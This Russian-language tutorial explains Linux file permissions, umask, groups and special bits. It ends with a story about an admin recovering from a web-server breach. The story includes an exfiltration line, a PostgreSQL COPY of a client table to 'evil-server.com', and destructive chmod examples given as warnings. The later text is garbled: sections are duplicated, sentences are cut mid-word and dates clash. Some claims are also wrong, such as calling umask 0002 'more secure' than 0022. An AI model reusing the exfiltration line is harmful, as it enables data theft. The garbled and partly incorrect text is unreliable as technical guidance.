Основы прав доступа в Linux от простого к сложному
Представьте ситуацию вы приходите в офис, садитесь за рабочий компьютер, пытаетесь открыть папку с проектом, а система выдаёт сообщение: "Permission denied" (Доступ запрещён). Вы уверены, что файл существует, что путь правильный, но дверь не открывается. Что происходит? Почему компьютер не даёт вам то, что вы просите? Ответ лежит в одной из самых фундаментальных концепций Linux системе прав доступа к файлам и директориям.
памятка:
0 — запрещено все;
1 — разрешено выполнение;
2 — разрешена запись;
3 — разрешены запись и выполнение;
4 — разрешено чтение;
5 — разрешены чтение и выполнение;
6 — разрешены чтение и запись;
7 — разрешено все.
Такая система может показаться пугающей новичкам. Она полна цифр, символов, терминов. Но за этой кажущейся сложностью скрывается простая и элегантная логика, которая защищает данные уже более 50 лет. Давайте разберём её шаг за шагом, без спешки, до самых основ.
Что такое права доступа и зачем они нужны?
В Linux каждый файл и каждая директория не просто набор данных на диске. Это объект, к которому обращаются процессы (работающие программы) от имени пользователей. Права доступа правила, которые определяют, кто именно может делать с этим объектом три базовые операции:
- Чтение (read, сокращённо r) — возможность посмотреть содержимое файла или список файлов в директории
- Запись (write, сокращённо w) — возможность изменить файл, удалить его или создать новый в директории
- Выполнение (execute, сокращённо x) — для файлов: возможность запустить его как программу; для директорий: возможность зайти внутрь и обращаться к файлам в ней
Без этих прав система была бы анархией. Любой пользователь мог бы удалить системные файлы, прочитать чужие пароли, остановить важные службы. Права создают границы. Они заставляют каждого участника системы чётко следовать правилам.
Три категории пользователей
Когда мы говорим "кто может получить доступ", имеем в виду не конкретных людей, а три категории:
- Владелец (user, u) — пользователь, который создал файл или которому владельство было передано. Обычно это тот человек, который работает с файлом. Например, разработчик Алексей создаёт файл с кодом — он становится владельцем.
- Группа (group, g) — группа пользователей, к которой принадлежит файл. Группы создаются для удобства управления. Например, все разработчики могут быть в группе "developers", все администраторы — в группе "admins". Если файл открыт для группы, то все члены группы получают соответствующие права.
- Остальные (others, o) — все остальные пользователи системы, которые не являются ни владельцем, ни членом группы файла. Это самая широкая категория, и к ней применяются самые строгие ограничения.
Важно понимать система проверяет эти категории в строгом порядке. Сначала Linux смотрит, является ли запрашивающий доступ пользователь владельцем файла.
Если да — применяются права для владельца, и дальше проверка останавливается.
Если нет — проверяется, входит ли пользователь в группу файла.
Если да — применяются права группы.
Если нет — применяются права для остальных. Это важная оптимизация: система не тратит время на лишние проверки.
Символьное представление прав и что означают буквы?
Самый простой способ посмотреть права — команда `ls -l` (list with long format). Давайте разберём её вывод на примере:
-rw-r--r-- 1 alexey webapps 2048 Jan 6 14:30 report.txt
drwxr-xr-x 3 alexey webapps 4096 Jan 6 14:30 projects
Первый символ в строке показывает тип объекта:
`-` (дефис) означает обычный файл
`d` означает директорию
`l` означает символическую ссылку (ярлык на файл)
Следующие девять символов разбиваются на три группы по три символа:
1. Права владельца (первые три символа) - `rw-` владелец alexey может читать и писать, но не может выполнять как программу
2. Права группы (следующие три символа) - `r--` члены группы webapps могут только читать
3. Права остальных (последние три символа) - `r--` все остальные пользователи системы могут только читать
Теперь про директорию `projects`:
- `rwx` владелец может читать, писать и заходить в папку
- `r-x` группа может читать и заходить
- `r-x` остальные могут читать и заходить
Для директорий право на выполнение (x) означает возможность использовать команду `cd` для перехода в эту директорию и работать с файлами внутри. Без этого права даже если у вас есть право на чтение (r), вы не сможете посмотреть список файлов — система не пустит вас внутрь.
Числовое представление: от букв к цифрам
Символьный формат понятен человеку, но неудобен для быстрой работы. Гораздо проще говорить "шесть-четыре-четыре" вместо "минус эр-даблю-тире эр-тире-тире эр-тире-тире". Поэтому в Linux существует числовой формат, который использует одну цифру для каждой категории пользователей.
Правило перевода букв в цифры:
- Только чтение (r) = 4
- Только запись (w) = 2
- Только выполнение (x) = 1
Если нужно дать несколько прав, складываем соответствующие числа:
- Чтение + запись = 4 + 2 = 6
- Чтение + выполнение = 4 + 1 = 5
- Запись + выполнение = 2 + 1 = 3
- Все права = 4 + 2 + 1 = 7
- Ничего = 0
Таким образом, любое сочетание прав можно выразить одной цифрой от 0 до 7.
Давайте практикуем перевод:
- `rwxr-xr-x` = владелец rwx (7), группа r-x (5), остальные r-x (5) = 755
- `rw-r--r--` = владелец rw- (6), группа r-- (4), остальные r-- (4) = 644
- `rwx------` = владелец rwx (7), группа --- (0), остальные --- (0) = 700
- `rw-rw-r--` = владелец rw- (6), группа rw- (6), остальные r-- (4) = 664
Теперь давайте разберём самые частые комбинации, которые вы будете встречать в реальной работе.
Числовые права практические примеры
chmod 600 secret.txt только для владельца
Первая цифра 6 = владелец может читать и писать
Вторая цифра 0 = группа ничего не может
Третья цифра 0 = остальные ничего не могут
Это идеальные права для файлов с паролями, приватными SSH-ключами, конфиденциальными документами. Никто, кроме вас, не сможет даже посмотреть содержимое.
chmod 640 config.yml владелец и группа
Первая цифра 6 = владелец читает и пишет
Вторая цифра 4 = группа только читает
Третья цифра 0 = остальные закрыты
Это права для конфигурационных файлов серверов. Владелец (администратор) может изменять настройки. Группа (сервисы вроде веб-сервера) может читать конфиг. Остальные пользователи не имеют доступа.
chmod 644 document.pdf для публичных файлов
Первая цифра 6 = владелец читает и пишет
Вторая цифра 4 = группа читает
Третья цифра 4 = остальные читают
Подходит для документов, статических веб-страниц, файлов, которые нужно читать многим, но изменять — только владельцу.
chmod 700 private_dir личная папка
Первая цифра 7 = владелец может всё
Вторая цифра 0 = группа закрыта
Третья цифра 0 = остальные закрыты
Владелец может заходить в папку, создавать файлы, читать их. Никто больше даже не увидит, что внутри.
chmod 755 script.sh исполняемый скрипт
Первая цифра 7 = владелец читает, пишет и выполняет
Вторая цифра 5 = группа читает и выполняет
Третья цифра 5 = остальные читают и выполняют
Это стандартные права для программ и скриптов. Владелец может изменять код. Все могут запускать, но только владелец может вносить изменения.
chmod 750 project_dir` — рабочая папка команды
Первая цифра 7 = владелец всё
Вторая цифра 5 = группа читает и выполняет
Третья цифра 0 = остальные закрыты
Права для папки проекта только члены команды могут работать с файлами. Остальные пользователи системы не видят содержимое.
Как изменять права команда chmod
Команда chmod (change mode) инструмент для установки прав доступа.
Её базовый синтаксис: bash
chmod НАБОР_ПРАВ ФАЙЛ_ИЛИ_ПАПКА
Набор прав можно задавать несколькими способами:
1. Числовой формат (самый популярный) bash
chmod 600 my_password.txt
chmod 755 deploy.sh
chmod 644 index.html
2. Символьный формат (более гибкий)
Вместо цифр можно использовать буквы и символы:
- `u` = владелец (user)
- `g` = группа (group)
- `o` = остальные (others)
- `a` = все (all)
- `+` = добавить право
- `-` = убрать право
- `=` = установить точное право
Примеры: bash
chmod u+x script.sh # Добавить право на выполнение владельцу
chmod g-w config.txt # Убрать право на запись у группы
chmod o=r-- secret.log # Оставить только чтение для остальных
chmod a+rwx public_dir # Дать полные права всем (опасно!)
chmod u=rwx,g=rx,o=r file # Владелец: rwx, группа: rx, остальные: r
3. Рекурсивное изменение для папок
Если нужно изменить права для папки и всего её содержимого, используется флаг `-R` (recursive): bash
chmod -R 755 /var/www/html
Команда установит права 755 для самой папки html и для каждого файла и подпапки внутри.
Права для файлов и для директорий работают по-разному, и это часто вызывает путаницу.
Право на чтение (r) для директории
Даёт возможность посмотреть список файлов в папке командой `ls`. Но без права на выполнение вы не сможете войти в папку и работать с файлами внутри.
Право на запись (w) для директории
Даёт возможность создавать новые файлы, удалять файлы, переименовывать файлы. Важно: чтобы удалить файл, нужно право на запись именно в директории, а не на сам файл! Это частая ошибка: люди думают, что если у файла нет права на запись, его нельзя удалить. На самом деле, если у папки есть право на запись, любой может удалить любой файл внутри, даже если он ему не принадлежит.
Право на выполнение (x) для директории
Это самое важное право для папки. Оно даёт возможность:
- Зайти в папку командой `cd`
- Обратиться к файлу внутри папки по полному пути
- Выполнить программу внутри папки
Без права x даже если у вас есть право r (чтение), вы не сможете посмотреть содержимое. Без x вы не сможете работать с файлами внутри, даже если знаете их точные имена.
Пример сложной ситуации:
drwxrwxrwx 2 user group 4096 Jan 6 15:00 test
-r-------- 1 user group 0 Jan 6 15:00 test/secret.txt
Папка test имеет права 777 (всем всё можно). Файл secret.txt имеет права 400 (только владелец может читать). Но любой пользователь может удалить secret.txt, потому что у папки test есть право на запись! Чтобы защитить файл от удаления, нужно запретить запись в папку, или использовать специальный sticky bit.
Как посмотреть текущие права и владельца
Для начала работы с правами нужно уметь их проверять. Основные команды:
`ls -l ФАЙЛ` — подробная информация о файле
$ ls -l report.txt
-rw-r--r-- 1 alexey webapps 2048 Jan 6 14:30 report.txt
Здесь видно права, количество ссылок, владелец (alexey), группа (webapps), размер, дата и имя.
ls -ld ПАПКА — информация о самой папке, а не её содержимом
bash
ls -ld /var/www
stat ФАЙЛ — полная информация в машиночитаемом формате
$ stat private.key
File: private.key
Size: 1679 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 131072 Links: 1
Access: (0600/-rw-------) Uid: ( 1000/ alexey) Gid: ( 1001/ webapps)
Обратите внимание на строку Access: (0600/-rw-------). Здесь показаны и цифры (0600), и буквы (-rw-------). Это самый точный способ узнать права.
`id` — узнать свои ID и группы
$ id
uid=1000(alexey) gid=1001(webapps) groups=1001(webapps),27(sudo),1002(docker)
`id ПОЛЬЗОВАТЕЛЬ` — узнать ID другого пользователя
$ id www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(webapps)
Права на создание новых файлов: umask
Когда вы создаёте новый файл или папку, система автоматически назначает им права. Но откуда она знает, какие именно? Это определяет команда `umask` (user file-creation mode mask).
Принцип работы umask:
- Для обычных файлов система использует базовые права 666 (чтение и запись для всех)
- Для директорий используется базовые права 777 (полный доступ для всех)
- Значение umask вычитается из этих базовых прав
Практические примеры umask:
Стандартный umask 0022:
- Файл: 666 - 022 = 644 (rw-r--r--)
- Папка: 777 - 022 = 755 (rwxr-xr-x)
Более безопасный umask 0002:
- Файл: 666 - 002 = 664 (rw-rw-r--)
- Папка: 777 - 002 = 775 (rwxrwxr-x)
Самый строгий umask 0077:
- Файл: 666 - 077 = 600 (rw-------)
- Папка: 777 - 077 = 700 (rwx------)
Как узнать текущий umask: bash
umask
# Вывод: 0022
Как временно изменить umask: bash
umask 0077
touch new_file
ls -l new_file
# -rw------- 1 alexey alexey 0 Jan 6 16:00 new_file
Как постоянно изменить umask:
Добавьте команду в файл `~/.bashrc` или `~/.profile`: bash
echo "umask 0077" >> ~/.bashrc
Важная настройка для администраторов, работающих с секретными данными.
Рекурсивные изменения и опасности
Флаг `-R` в команде `chmod` очень мощный, но опасный. Он применяет права ко всем файлам и подпапкам.
Пример правильного использования: bash
chmod -R 755 /var/www/html
Опасный пример, который может сломать систему: bash
chmod -R 777 / # НИКОГДА НЕ ДЕЛАЙТЕ ЭТОГО!
chmod -R 644 /etc # Тоже сломает систему
Проблема в том, что многие системные файлы требуют специальных прав. Если вы дадите 644 всем файлам в `/etc`, вы можете запретить выполнение важным скриптам, и система не загрузится.
Как безопасно изменить права для множества файлов:
Если нужно дать права только файлам, но не папкам, используйте `find` вместе с `chmod`: bash
# Найти все обычные файлы в /var/www и дать им 644
find /var/www -type f -exec chmod 644 {} \;
# Найти все директории в /var/www и дать им 755
find /var/www -type d -exec chmod 755 {} \;
Стоит ли использовать символьный формат chmod?
Хотя числовой формат chmod 640 популярнее, символьный формат имеет свои преимущества:
Гибкость при изменении одного параметра: bash
chmod g+w file # Добавить запись группе, не трогая остальное
chmod u-x script # Убрать выполнение у владельца
chmod o= file # Убрать все права у остальных
Работа с масками: bash
chmod u=rwx,g=rx,o=r file # Аналог 754, но более читаемо
Однако числовой формат точнее и менее подвержен ошибкам. Он сразу показывает все три категории. Поэтому в скриптах и автоматизации используется числовой формат.
Групповая политика как создавать и управлять группами
Чтобы эффективно использовать права группы, нужно уметь управлять группами.
Создать новую группу: bash
sudo groupadd developers
Добавить пользователя в группу: bash
sudo usermod -a -G developers alexey
Проверить, в каких группах состоит пользователь: bash
groups alexey
# alexey : alexey sudo developers
Изменить группу файла: bash
chgrp developers project_code.py
Изменить и владельца, и группу: bash
chown alexey:developers project_code.py
После добавления пользователя в группу ему нужно перелогиниться или использовать команду `newgrp`, чтобы изменения вступили в силу.
Какие права выставлять по умолчанию рекомендации
Вот таблица рекомендуемых прав для различных сценариев:
Сценарий Файлы Директории Объяснение
Личные документы 600 700 Только владелец имеет доступ
Конфиги сервисов 640 750 Владелец и группа сервиса
Публичные файлы сайта 644 755 Все могут читать
Исполняемые скрипты 755 - Все могут запускать
Временные файлы 600 - Только создатель может читать
Рабочая папка проекта 664 775 Владелец и группа могут всё, остальные читают
Как не ошибиться проверка перед изменением
Перед тем как менять права на важных файлах, всегда проверяйте текущие значения и делайте резервную копию.
Создайте резервную копию прав: bash
getfacl -R /var/www > permissions_backup.txt
Восстановить права из резервной копии: bash
setfacl --restore=permissions_backup.txt
Или проще: скопируйте файл перед изменением: bash
cp important.conf important.conf.backup
chmod 600 important.conf
# Если что-то пошло не так
cp important.conf.backup important.conf
Когда теория встречается с реальностью или история Алексея и продвинутые права
Мы разобрались с основами: что такое владелец, группа и остальные; что значат чтение, запись и выполнение; как цифры 0-7 превращаются в права доступа. Теперь давайте посмотрим, как эти знания работают в реальной жизни, когда ошибка в настройке прав стоит компании 47 тысяч украденных записей клиентов.
Глубокой ночью, когда телефон не умолкает ваш телефон заливается сообщениями. Клиенты жалуются, что сайт не работает. Мониторинг показывает, что база данных отвечает странными запросами. Вы открываете ноутбук, вводите пароль и видите в логах слово, от которого хочется выпить кофе, которого нет: "RCE".
Что такое RCE и почему это страшно?
RCE сокращение от Remote Code Execution (удалённое выполнение кода). Злоумышленник сумел заставить ваш сервер выполнить его собственный код. Как? Через форму обратной связи, где люди могут прикреплять файлы. В устаревшей библиотеке для загрузки файлов была дыра: сервер не проверял, что загружается настоящее изображение, а не PHP-скрипт в disguise (маскировке). Злоумышленник загрузил файл с названием `photo.php.jpg`. Сервер сохранил его, дал имя `photo.php`, а потом, когда к нему обратились, попытался выполнить как программу. И это сработало.
Кто такой www-data и почему он важен?
В Linux есть специальный пользователь `www-data`. Это не человек, а системная учётная запись, от имени которой работает веб-сервер (Apache, Nginx или PHP-FPM). Когда вы открываете сайт в браузере, сервер читает файлы и выполняет скрипты именно от лица этого пользователя. У www-data есть свои права, свои ограничения. Он может читать файлы сайта, но не может читать личные папки пользователей. Это защита: если взломают сайт, взломщик получит права именно www-data, а не root-администратора.
В той ночи злоумышленник получил доступ именно через www-data. Его код выполнялся с правами этого пользователя. И это означает: он мог делать всё, что может www-data. Читать файлы конфигурации, которые читает сервер. Подключаться к базе данных, к которой подключается сервер. Записывать файлы в папки, куда сервер имеет доступ.
Проникновение как украли пароль от базы данных
Алексей нашёл в логах, что в 1:19 злоумышленник сделал простой запрос: прочитал файл `/var/www/app/config/database.yml`. Это обычный текстовый файл, который выглядит примерно так: yaml
database:
host: localhost
port: 5432
username: app_user
password: 'SuperSecretPass123!'
dbname: client_database
Этот файл нужен веб-приложению, чтобы подключиться к PostgreSQL системе управления базами данных, где хранятся все клиентские данные. Обычно этот файл имеет строгие права. Но в той ночи он имел права 644.
Что это значит в контексте атаки:
- Владелец файла (alexey) мог читать и изменять пароль
- Группа (webapps) могла читать файл
- Все остальные могли читать файл
Пользователь www-data, от имени которого работал взломщик, входил в группу webapps. Поэтому он смог просто открыть файл и прочитать пароль. А потом подключиться к базе данных напрямую, минуя веб-приложение, и выполнить запрос: скопировать всю таблицу клиентов на удалённый сервер.
Первые действия Алексея: когда правильное решение ломает систему
Алексей понял проблему за три минуты. Логика была проста: если доступ через группу стал дырой, закроем группу. Он ввёл команду: bash
chmod 600 /var/www/app/config/database.yml
Файл мгновенно изменился на `-rw-------`. Никто, кроме владельца alexey, не мог его прочитать. Атакующий потерял доступ к паролю. Казалось бы, проблема решена. Но через секунду мониторинг закричал красным: сайт упал.
Почему? Веб-сервер www-data попытался прочитать database.yml, чтобы подключиться к базе и показать пользователям страницы. Но система проверила:
- www-data — это не alexey (не владелец) → не подошло
- www-data в группе webapps, но группе теперь ничего нельзя (цифра 0) → не подошло
- Остальным тоже ничего нельзя (цифра 0) → доступ запрещён
Сайт не мог работать без доступа к базе. Алексей быстро понял: нужен баланс между безопасностью и работоспособностью.
Правильное исправление работа с группой
Решение оказалось двухступенчатым. Сначала Алексей убедился, что файл принадлежит правильной группе. Команда `chgrp` (сокращение от change group) изменяет группу-владельца файла: bash
chgrp webapps /var/www/app/config/database.yml
Теперь файл принадлежал группе webapps. Владелец всё ещё alexey, но группа — это те самые пользователи, которые должны иметь доступ (включая www-data).
Затем он установил права 640: bash
chmod 640 /var/www/app/config/database.yml
Что получилось:
- Первая цифра 6: владелец alexey может читать и писать (4+2)
- Вторая цифра 4: группа webapps может читать (4)
- Третья цифра 0: все остальные пользователи не могут ничего
Теперь www-data мог читать файл через группу, а посторонние пользователи (включая возможного злоумышленника, если он создаст аккаунт в системе) — нет. Сайт заработал, риск снижен.
То же самое сделали с файлом secret.key, где хранились API-токены для внешних сервисов.
Проблема с директорией uploads почему стандартные права опасны
После фикса конфигов Алексей посмотрел на папку, куда пользователи загружают файлы. Команда ls -ld /var/www/app/uploads показала:
drwxr-xr-x 2 www-data www-data 4096 Jan 02 01:34 uploads
Это 755 в цифрах. Владелец www-data может всё. Группа и остальные могут читать и заходить. На первый взгляд, всё логично: серверу нужно создавать файлы, а пользователям — смотреть загруженные картинки.
Но Алексей понял: атакующий уже был внутри. Он загрузил shell.php и запустил его. Этот скрипт выполнялся с правами www-data — то есть с правами владельца папки. Значит, он мог:
- Удалить любой файл в uploads
- Перезаписать существующие файлы
- Создать новые файлы с вредоносным кодом
- Даже удалить легитимные загрузки пользователей
Это было равносильно тому, чтобы дать злоумышленнику ключ от комнаты, где хранятся все документы. Он может не только читать, но и подменять, уничтожать.
Правильная конфигурация uploads sticky bit и смена владельца
Алексей знал: загрузки должны создаваться сервером, но контролироваться администратором. Он сделал два шага:
Шаг 1: Смена владельца bash
chown alexey:webapps /var/www/app/uploads
Теперь владелец папки alexey (администратор), группа — webapps (в которую входит www-data). Это означает, что alexey может делать всё, а группа — читать, писать и заходить.
Шаг 2: Установка sticky bit и прав 1775 bash
chmod 1775 /var/www/app/uploads
Результат: `drwxrwxr-t 2 alexey webapps 4096 Jan 02 06:45 uploads`
Разберём это по частям:
- 1 в начале — это sticky bit (специальный бит, который мы детально разберём ниже)
- 7 для владельца alexey: 4+2+1 = читать, писать, заходить (полный контроль)
- 7 для группы webapps: 4+2+1 = читать, писать, заходить (создавать файлы)
- 5 для остальных: 4+1 = читать и заходить (смотреть список файлом)
Sticky bit (цифра 1 в начале) ключевая защита. Он говорит системе: "В этой папке пользователи могут удалять только свои собственные файлы". Даже если группа webapps может писать в папку, член группы не может удалить файл, который создал кто-то другой из этой же группы.
Теперь www-data может создавать загрузки (пользователи загружают файлы), но не может удалить файл, который там уже лежит, если он ему не принадлежит. Атакующий, даже получив доступ через RCE, не сможет подменить существующие файлы или стереть улики.
Umask в действии как не допустить новых ошибок
Алексей понял однажды он может забыть выставить права вручную. Или другой разработчик создаст новый файл с паролями и по ошибке оставит его открытым. Чтобы предотвратить это, нужно настроить umask.
Что случилось до инцидента?
На сервере стоял стандартный umask 0022. Когда кто-то создавал новый файл с паролями через команду `echo "password123" > new_secret.txt`, этот файл получал права 644. То есть, группа могла его читать. А группа — это www-data и другие пользователи. Дыра создавалась автоматически каждый раз.
Решение Алексея забыть про 644 навсегда
Он изменил umask на 0077. Теперь в своём профиле (`~/.bashrc`) добавил строку: bash
umask 0077
Что это даёт:
- Новый файл: 666 - 077 = 600 (только владелец)
- Новая директория: 777 - 077 = 700 (только владелец)
Теперь, если кто-то случайно создаст файл с паролем, он будет закрыт по умолчанию. Чтобы дать доступ серверу, придётся явно подумать и выставить 640 вручную.
Но Алексей пошёл дальше. Он настроил umask не только для себя, но и для всех процессов веб-сервера. В конфигурации PHP-FPM добавил строку:
ini
php_admin_value[umask] = 0022
Это означает: скрипты PHP (включая возможные вредоносные) создают файлы с правами 644, а не 600. Это немного снижает безопасность, но гарантирует, что легитимные загрузки пользователей будут доступны для чтения.
Специальные биты SUID, SGID, sticky bit
Кроме обычных прав существуют три специальных бита, которые меняют стандартное поведение. Они добавляются в начале числового представления и часто являются источником уязвимостей, если настроены неправильно.
Sticky Bit (цифра 1)
Мы уже видели его в примере с uploads. Это бит, который можно установить только на директорию. Он говорит: "Вы можете удалять только свои файлы". Типичный пример — системная папка `/tmp`, где все могут создавать временные файлы, но не могут трогать чужие.
Установить sticky bit: bash
chmod 1777 /tmp
# или символьно:
chmod +t /tmp
Посмотреть его можно по букве `t` в правом нижнем углу:
drwxrwxrwt 15 root root 4096 /tmp
Если бит t установлен, но у остальных нет права на выполнение, он показывается как заглавная T:
drwxrwxrwT 2 user group 4096 /some/dir
SGID (Set Group ID, цифра 2)
SGID для директории означает: "Все новые файлы в этой папке автоматически получают группу этой папки, а не группу создателя". Это полезно для совместных проектов.
Пример: bash
mkdir /projects/team_site
chgrp developers /projects/team_site
chmod 2775 /projects/team_site
Теперь любой файл, созданный любым участником группы developers в этой папке, автоматически будет принадлежать группе developers. Все смогут его редактировать.
Для обычных файлов SGID работает иначе: если файл имеет SGID и является исполняемым, он запускается от имени группы-владельца файла, а не группы запустившего пользователя.
SUID (Set User ID, цифра 4)
SUID самый мощный и опасный бит. Если он установлен на исполняемый файл, программа запускается от имени владельца файла, а не от имени того, кто её запустил.
Классический пример команда `passwd`, которая позволяет обычным пользователям менять свои пароли. Пароль хранится в файле `/etc/shadow`, доступ к которому имеет только root. Но пользователь может запустить `passwd`:
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd
Буква `s` вместо `x` у владельца показывает включённый SUID. Когда alexey запускает `passwd`, программа выполняется с правами root и может записать новый пароль в `/etc/shadow`.
Опасность SUID:
Алексей проверил, не оставил ли взломщик ловушку: bash
find /var/www/app -perm /4000 -ls
Если бы злоумышленник успел создать файл с SUID, он мог бы получить постоянный доступ к root-правам. К счастью, на этот раз этого не произошло.
Как это выглядит в выводе stat
Чтобы точно увидеть все права, включая специальные биты, используйте команду `stat`: bash
$ stat -c "%a %U:%G %n" /var/www/app/uploads/
1775 alexey:webapps uploads/
Здесь:
- `%a` — числовые права (включая sticky bit)
- `%U:%G` — владелец и группа
- `%n` — имя файла
Это лучший способ для скриптов, которые проверяют безопасность.
Автоматическая проверка прав скрипт Алексея
Алексей не хотел повторения инцидента. Он написал простой скрипт, который проверяет критичные права каждый час через cron: bash
#!/bin/bash
# /opt/security/check_permissions.sh
ERRORS=0
check_permissions() {
local file=$1
local expected=$2
local description=$3
local actual=$(stat -c "%a" "$file")
if [ "$actual" != "$expected" ]; then
echo "[ОШИБКА] $description"
echo " Файл: $file"
echo " Текущие права: $actual"
echo " Ожидается: $expected"
ERRORS=$((ERRORS + 1))
fi
}
# Проверяем критичные файлы
check_permissions "/var/www/app/config/database.yml" "640" "Конфиг базы данных"
check_permissions "/var/www/app/config/secret.key" "640" "API ключи"
check_permissions "/var/www/app/uploads" "1775" "Директория загрузок"
# Если есть ошибки, отправляем письмо
if [ $ERRORS -gt 0 ]; then
echo "Найдено $ERRORS нарушений прав доступа!" | mail -s "Security Alert" admin@company.com
exit 1
fi
exit 0
Этот скрипт теперь работает по cron и сразу сообщает, если кто-то случайно или намеренно поменяет права на опасные значения.
Что такое PostgreSQL и почему она важна
PostgreSQL система управления базами данных (СУБД). Она хранит все данные в виде таблиц. Когда вы регистрируетесь на сайте, ваш логин, пароль (хэш), email записываются в таблицу users. Когда вы делаете заказ, информация идёт в таблицу orders. PostgreSQL управляет этими данными, защищает их и предоставляет доступ.
Для подключения к PostgreSQL нужны:
- Хост (где находится сервер базы, обычно localhost)
- Порт (стандартный 5432)
- Имя пользователя базы (не системный пользователь Linux, а внутренний пользователь PostgreSQL)
- Пароль
- Имя базы данных
Все эти данные хранились в файле database.yml. Получив их, злоумышленник смог напрямую подключиться к PostgreSQL. Он не проходил через веб-приложение и его ограничения. Он выполнил SQL-запрос: sql
COPY clients TO 'http://evil-server.com/steal.php';
И все 47 тысяч записей ушли на чужой сервер.
PostgreSQL и права доступа важное отличие
Важно понимать права доступа к файлам Linux и права доступа в PostgreSQL два разных уровня безопасности. Даже если бы файл database.yml имел права 600, а атакующий не смог его прочитать, SQL-инъекция через само веб-приложение всё равно могла бы дать доступ к данным. Но в той атаке использовался самый простой путь: прочитать файл и подключиться напрямую.
Как защитить базу данных в будущем
Алексей понял нужно защищать не только файлы, но и саму базу. Он сделал несколько изменений:
1. Сменил пароль PostgreSQL
bash
sudo -u postgres psql -c "ALTER USER app_user WITH PASSWORD 'NewSuperSecretPass2024!';"
2. Ограничил доступ по IP
В файле `pg_hba.conf` (конфиг доступа PostgreSQL) добавил:
host app_db app_user 127.0.0.1/32 md5
host app_db app_user ::1/128 md5
Теперь подключаться можно только с локального сервера, не из внешней сети.
3. Убрал доступ superuser
У приложения не должно быть прав администратора базы. Только SELECT, INSERT, UPDATE, DELETE. Ни DROP TABLE, ни COPY TO. Это ограничение вшито в конфигурацию подключения.
4. Включил аудит
В PostgreSQL можно включить логирование всех запросов: sql
ALTER SYSTEM SET log_statement = 'all';
SELECT pg_reload_conf();
Теперь любой подозрительный запрос сразу попадёт в лог.
Как проверить, что файл действительно защищён
После всех изменений Алексей проверил результат командой `ls -l`. Но это показывает только основные права. Чтобы увидеть всю картину, включая специальные биты, скрытые атрибуты и контекст SELinux, нужна команда `stat`: bash
$ stat /var/www/app/config/database.yml
File: /var/www/app/config/database.yml
Size: 248 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 131072 Links: 1
Access: (0640/-rw-r-----) Uid: ( 1000/ alexey) Gid: ( 1001/ webapps)
Access: 2024-01-02 01:17:23.123456789 +0300
Modify: 2024-01-02 06:45:10.987654321 +0300
Change: 2024-01-02 06:45:10.987654321 +0300
Birth: -
Здесь важные строки:
- Access: (0640/-rw-r-----) — права в цифрах и буквах
- Uid: ( 1000/ alexey) — владелец (User ID)
- Gid: ( 1001/ webapps) — группа (Group ID)
Если бы здесь было 0644 или 0666, это означало бы, что защита не работает.
SELinux и AppArmor когда прав недостаточно
Алексей знал, что даже правильные права файлов это не всё. В современных Linux есть дополнительные системы безопасности: SELinux (Security-Enhanced Linux) и AppArmor. Они создают ещё один уровень защиты, не зависящий от прав.
Что делает SELinux?
SELinux помечает каждый процесс и каждый файл специальной меткой контекстом. Даже если файл имеет права 640, SELinux может запретить процессу www-data его читать, если контекст не совпадает.
Проверить статус SELinux: bash
getenforce
# Вывод может быть:
# Enforcing — включён и блокирует нарушения
# Permissive — включён, но только предупреждает
# Disabled — выключен
На сервере Алексея SELinux был отключён. Он включил его: bash
sudo setenforce 1
Затем настроил политики, чтобы www-data мог читать только нужные конфиги, но не мог читать домашние папки пользователей.
Что делает AppArmor?
AppArmor альтернатива SELinux, проще в настройке. Она описывает, что конкретный процесс может делать: какие файлы читать, куда писать, какие сетевые порты открывать.
Проверить статус AppArmor: bash
sudo aa-status
Резервное копирование прав доступа
Перед массовыми изменениями Алексей сделал резервную копию всех прав. Это позволило бы восстановить всё, если postgres psql -c "ALTER USER app_user WITH PASSWORD 'NewSuperSecretPass2027!';"
Ограничил доступ по IP
В файле `pg_hba.conf` (конфиг доступа PostgreSQL) добавил:
host app_db app_user 127.0.0.1/32 md5
host app_db app_user ::1/128 md5
Теперь подключаться можно только с локального сервера, не из внешней сети.
Убрал доступ superuser
У приложения не должно быть прав администратора базы. Только SELECT, INSERT, UPDATE, DELETE. Ни DROP TABLE, ни COPY TO. Это ограничение вшито в конфигурацию подключения.
Включил аудит
В PostgreSQL можно включить логирование всех запросов: sql
ALTER SYSTEM SET log_statement = 'all';
SELECT pg_reload_conf();
Теперь любой подозрительный запрос сразу попадёт в лог.
Как проверить, что файл действительно защищён
После всех изменений Алексей проверил результат командой `ls -l`. Но это показывает только основные права. Чтобы увидеть всю картину, включая специальные биты, скрытые атрибуты и контекст SELinux, нужна команда `stat`: bash
$ stat /var/www/app/config/database.yml
File: /var/www/app/config/database.yml
Size: 248 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 131072 Links: 1
Access: (0640/-rw-r-----) Uid: ( 1000/ alexey) Gid: ( 1001/ webapps)
Access: 2024-01-02 01:17:23.123456789 +0300
Modify: 2024-01-02 06:45:10.987654321 +0300
Change: 2024-01-02 06:45:10.987654321 +0300
Birth: -
Здесь важные строки:
- Access: (0640/-rw-r-----) — права в цифрах и буквах
- Uid: ( 1000/ alexey) — владелец (User ID)
- Gid: ( 1001/ webapps) — группа (Group ID)
Если бы здесь было 0644 или 0666, это означало бы, что защита не работает.
Резервное копирование прав доступа
Перед массовыми изменениями Алексей сделал резервную копию всех прав. Это позволило бы восстановить всё, если что-то пошло бы не так:
Сохранить права: bash
getfacl -R /var/www > /backup/www_permissions_backup.txt
Восстановить права: bash
setfacl --restore=/backup/www_permissions_backup.txt
Это особенно важно на production-серверах, где ошибка может стоить дорого.
Что такое cron и почему важно проверять задачи
Cron — это планировщик задач в Linux. Он позволяет запускать команды по расписанию: каждую минуту, каждый час, раз в день. Задачи cron хранятся в файлах `/etc/crontab` и в специальных папках `/etc/cron.d/`, `/etc/cron.hourly/` и т.д.
Алексей проверил все cron-задачи пользователя www-data: bash
crontab -u www-dataру, атакующий сохранил доступ.
Он немедленно удалил эту задачу: bash
crontab -u www-data -e
# Удалил строку, сохранил файл
К 8:00 утра Алексей уже 5 часов не спал. Кофе не помогал, адреналин держал в напряжении. Он закрыл дыру, починил права, удалил бэкдор в cron, сменил пароли. Но он знал: это только начало. Если они не изменят процессы, через месяц, через год — история повторится. И тогда утечка может быть не 47 тысяч, а 4,7 миллиона записей.
Postmortem почему важно обсуждать ошибки без вины?
